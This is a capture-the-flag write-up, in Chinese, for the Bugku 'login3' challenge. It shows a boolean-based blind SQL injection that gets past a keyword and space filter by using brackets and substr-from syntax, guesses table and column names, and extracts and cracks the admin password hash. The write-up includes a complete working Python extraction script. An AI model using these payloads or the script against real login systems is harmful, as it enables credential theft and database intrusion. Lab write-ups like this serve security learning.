Bugku_web_login3(SKCTF)
题目
题目链接:http://123.206.31.85:49167/
hint:基于布尔的SQL盲注
打开题目是一个登录框,先试试admin,admin,回显password error!
再试试admin’,admin,回显username does not exist
可见username是admin,再试试admin’# ,又回显password error
看来username存在注入点了。尝试admin’ and 1=1#,回显illegal character,看来进行了过滤,fuzz一下。
过滤了and,=,union,空格,/**/,where,+以及逗号等等。过滤的东西挺多,但没过滤ascii,substr,from以及括号等等。可以进行盲注。
空格用括号代替,substr所需要的逗号可以用from代替其功能。
先看一下要怎么构造语句来盲注呢。
可以利用or的特点,如果or后面的语句值非0,则回显password error。所以此处就能使用sql语句了。
构造sql语句为:username='||ascii(substr((SQL语句)from(1)))>0#
可以通过改变from的值和>后面的值来爆出数据
问题来了,过滤了information_schema,怎么获得表名和列名呢,只能靠猜了。。。
可以用username='||ascii(substr((select(1)from(TABLE))from(1)))>0#
通过改变TABLE的值来猜测表名,可以使用burp爆破,结果当TABLE为admin时,回显password error,可见,表名为admin
同样道理,通过修改username='||ascii(substr((select(COLUMN)from(admin))from(1)))>0#
中的COLUMN值来猜列名,同样可以用brup来爆破
当COLUMN值为password时,回显password error
好了,表名和列名都知道了,直接写盲注脚本跑就可以了。
跑出来结果为:51b7a76d51e70b419f60d3473fb6f900,md5解密为:skctf123456
接着输入admin,skctf123456得到flag
最后附上我的盲注脚本:
import requests
headers={
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
"Cache-Control": "max-age=0",
"Connection": "keep-alive",
"Host": "e17f3041-5264-4411-82cb-edd2bca2ce30.node1.buuoj.cn",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36"
}
url='http://123.206.31.85:49167/index.php'
data_error={'password':'admin','username':'aa'} #返回错误时的data
comment='#' #注释符
sql="select(password)from(admin)" #执行的sql语句
error_response=requests.post(url,data=data_error).content.decode() #错误返回
result='' #结果
for i in range(1,100): #设置返回的字符最大为100个
max_ascii = 126 #可见字符的ascii范围为32-126
min_ascii = 32
test = {} #测试的值存放并记录测试的次数
for times in range(10): #每个字母最多测试10次
mid = int((max_ascii + min_ascii)/2) #每次测试的值为范围的最大值与最小值的中间值
#print('guess ascii=',mid,end=' ')
if mid not in test.keys(): #判断这个ascii值是否已经测试过,如果没有则将其添加到test中,并赋初值为0
test[mid] = 0
payload={'password':'admin','username':"'||ascii(substr(({})from({})))<{}{}".format(sql,i,mid,comment)} # i:字段的第i个字母 mid:与字母的ascii的进行比较的值 comment:此次sql注入的起注释作用的语句 sql:执行的sql语句
#print(payload,end=" ")
try: #如果超时或访问错误,则进行下一次测试,测试的ascii不变
if requests.post(url,data=payload,timeout=3).content.decode()!=error_response: #如果返回的不是错误时的页面,说明此时此次测试的数比真实的数大
max_ascii = mid
#print('Big')
else: #否则说明此时测试的数不比真实的数大,将测试的ascii设置为测试范围的最小值,将此时的标记+1
test[mid] += 1
min_ascii = mid
#print('Small or equal')
if test[mid] == 2: #如果测试的ascii出现了两次,则此ascii值为要查找的ascii
result+=chr(mid)
print(result)
break
except: #如果get失败,max_ascii、min_ascii等都不会改变,即重新尝试上一次的测试
print("reques_error")
#time.sleep(1) #发送请求的间隔为1秒
else: #如果测试了10次都没有得到结果(即没有从break出来)
print("error OR end ")
break
print('****** the next latter ********')
print("result:",result)